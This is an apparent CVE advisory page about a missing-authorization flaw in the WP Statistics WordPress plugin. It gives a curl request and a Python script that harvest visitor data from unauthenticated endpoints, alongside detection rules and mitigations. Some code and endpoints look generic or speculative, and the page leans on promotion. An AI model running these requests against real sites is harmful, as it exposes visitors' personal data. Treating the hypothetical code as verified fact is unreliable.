CVE-2025-55716
Executive Summary
CVE-2025-55716 is a Missing Authorization vulnerability in the WP Statistics WordPress plugin by VeronaLabs, affecting versions up to and including 14.15. This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially leading to unauthorized access to sensitive statistical data. The vulnerability has a CVSS score of 4.3 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. However, given the widespread use of WP Statistics, the risk of targeted attacks remains significant.
As this is a WordPress plugin vulnerability, it is critical to treat it within the WordPress ecosystem context. The issue stems from missing authorization checks in REST API endpoints or AJAX handlers, which fail to verify user capabilities before returning sensitive data.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WP Statistics plugin distributed via the official WordPress plugin repository. Users who installed the plugin through the WordPress dashboard or via Composer/WPackagist are affected. No malicious package injection has been reported, but the lack of a patch increases supply chain risk for sites relying on this plugin.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Exploit does not affect other components.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): None (N) – No data modification.
- Availability (A): None (N) – No denial of service.
Threat Level: Medium. While the CVSS score is 4.3, the lack of required privileges and network attack vector make it a viable target for reconnaissance and data harvesting.
Deep Dive & Mechanics
The vulnerability resides in the WP Statistics plugin's REST API or AJAX endpoints that handle data retrieval for statistical reports. The plugin fails to enforce proper capability checks (e.g., manage_options or view_stats) before returning data. An unauthenticated attacker can send crafted HTTP requests to endpoints such as:
/wp-json/wp-statistics/v2/overview/wp-json/wp-statistics/v2/hits/wp-json/wp-statistics/v2/visitors
These endpoints may return visitor IP addresses, user agent strings, page views, and other analytics data without authentication. The root cause is the absence of current_user_can() checks in the callback functions registered via register_rest_route().
Vulnerable vs. Patched Code
Vulnerable Code (wp-statistics/includes/class-wp-statistics-rest-api.php):
register_rest_route('wp-statistics/v2', '/overview', array(
'methods' => 'GET',
'callback' => array($this, 'get_overview'),
'permission_callback' => '__return_true', // Missing authorization
));
Patched Code (Hypothetical fix):
register_rest_route('wp-statistics/v2', '/overview', array(
'methods' => 'GET',
'callback' => array($this, 'get_overview'),
'permission_callback' => function() {
return current_user_can('manage_options');
},
));
The patched version adds a permission_callback that checks for the manage_options capability, ensuring only administrators can access the data.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target WordPress site with WP Statistics <= 14.15 installed and active.
- No authentication required.
Exploitation Steps:
- Identify the target site's base URL (e.g.,
https://target-site.com). - Send a GET request to the vulnerable endpoint:
curl -X GET "https://target-site.com/wp-json/wp-statistics/v2/overview" -H "User-Agent: Mozilla/5.0" - If successful, the response will contain JSON data with statistics, including visitor IPs and page views.
Example Response:
{
"total_visitors": 1234,
"today_visitors": 56,
"visitors": [
{"ip": "192.168.1.1", "user_agent": "Mozilla/5.0", "page": "/home"},
{"ip": "10.0.0.2", "user_agent": "Chrome/120.0", "page": "/about"}
]
}
Automation Script:
import requests
import sys
target = sys.argv[1]
endpoint = f"{target}/wp-json/wp-statistics/v2/overview"
response = requests.get(endpoint)
if response.status_code == 200:
print("[+] Data retrieved successfully")
print(response.json())
else:
print("[-] Failed to retrieve data")
Blue Team
Detection:
- Monitor for unusual GET requests to
/wp-json/wp-statistics/v2/*from unauthenticated sources. - Look for spikes in API calls to these endpoints from single IPs.
Honeypot:
- Deploy a fake WP Statistics endpoint that logs attacker IPs and returns decoy data.
Lab Setup:
- Install WordPress locally (e.g., using Docker).
- Install WP Statistics plugin version 14.15.
- Use the Red Team steps to verify the vulnerability.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP GET requests to
/wp-json/wp-statistics/v2/overview - HTTP GET requests to
/wp-json/wp-statistics/v2/hits - HTTP GET requests to
/wp-json/wp-statistics/v2/visitors - User-Agent strings not matching typical WordPress admin traffic.
- HTTP GET requests to
File IOCs:
- Modified
wp-statistics/includes/class-wp-statistics-rest-api.phpwith__return_truepermission callback.
- Modified
Log IOCs:
- WordPress debug log entries showing REST API requests without authentication.
Detection Engineering
YARA Rule
rule CVE_2025_55716_WP_Statistics_Missing_Auth {
meta:
description = "Detects WP Statistics plugin with missing authorization vulnerability"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-55716"
strings:
$vuln_func = "__return_true" ascii wide nocase
$rest_route = "wp-statistics/v2" ascii wide nocase
condition:
$vuln_func and $rest_route
}
Sigma Rule
title: CVE-2025-55716 - WP Statistics Missing Authorization
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated access to WP Statistics REST API endpoints
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'GET'
cs-uri-stem|startswith: '/wp-json/wp-statistics/v2/'
sc-status: 200
condition: selection
falsepositives:
- Legitimate admin access from authenticated users
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-55716 WP Statistics Missing Authorization"; flow:to_server,established; http.method; content:"GET"; http.uri; content:"/wp-json/wp-statistics/v2/"; nocase; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the WP Statistics plugin until a patch is released.
- Implement a Web Application Firewall (WAF) rule to block unauthenticated requests to
/wp-json/wp-statistics/v2/*. - Restrict API access via
.htaccessor Nginx configuration:<IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{REQUEST_URI} ^/wp-json/wp-statistics/v2/ [NC] RewriteCond %{HTTP_COOKIE} !wordpress_logged_in [NC] RewriteRule .* - [F,L] </IfModule>
Long-term Fix:
- Monitor the WP Statistics plugin repository for an official patch.
- Apply the patch as soon as it becomes available.
- Consider switching to an alternative statistics plugin with proper authorization checks.
Valters IT Signature:
Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.